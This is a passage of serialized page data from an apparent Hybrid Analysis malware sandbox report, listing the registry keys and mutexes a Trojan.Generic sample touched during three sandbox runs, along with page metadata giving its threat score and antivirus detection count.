39","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\A$$\\A$$","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\RF;\\RF;","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\QD;\\QD;","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\E{;\\E{;","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\!2<\\!2<","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FONTINFOCACHEW\\FONTINFOCACHEW","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]}]},"mutex_activity":{"mutex_created":[{"name":"Local\\WinSpl64To32Mutex_19162_0_3000","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"name":"KYIMEShareCachedData.MutexObject.PSPUBWS","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"name":"KYTransactionServer.MutexObject.PSPUBWS","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-1663702577-2139711211-3687027567-1000","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-1663702577-2139711211-3687027567-1000","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-58022","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACB10_S-1-5-5-0-58022","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!11szmcl!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!11szmcl!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!11szmcl!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!11szmcl!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"Local\\10MU_ACB10_S-1-5-5-0-58022","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"Local\\c:!users!11szmcl!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"Local\\c:!users!11szmcl!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"Local\\c:!users!11szmcl!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"Local\\c:!users!11szmcl!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"Local\\10MU_ACBPIDS_S-1-5-5-0-58022","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]}]}},"report_ids":{"sandbox_job_ids":["59493d11aac2ed6e0f766bd1","55ae61390e316d331d67f579","55ae56d00e316ddb2a0f84f3"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 776aa62e129c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 776aa62e129c…. Malware family: Trojan.Generic. Threat score 100/100. 21/29 AV engines flagged this file. 10 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/776aa62e129c02b4c748dd012df93d6690155ab08131052993d0e57e49c25cdb"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 776aa62e129c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 776aa62e129c…. Malware family: Trojan.Generic. Threat score 100/100. 21/29 AV engines flagged this file. 10 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/776aa62e129c02b4c748dd012df93d6690155ab08131052993d0e57e49c25cdb"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 776aa62e129c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 776aa62e129c…. Malware family: Trojan.Generic. Threat score 100/100. 21/29 AV engines flagged this file. 10 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L30","11",{}]]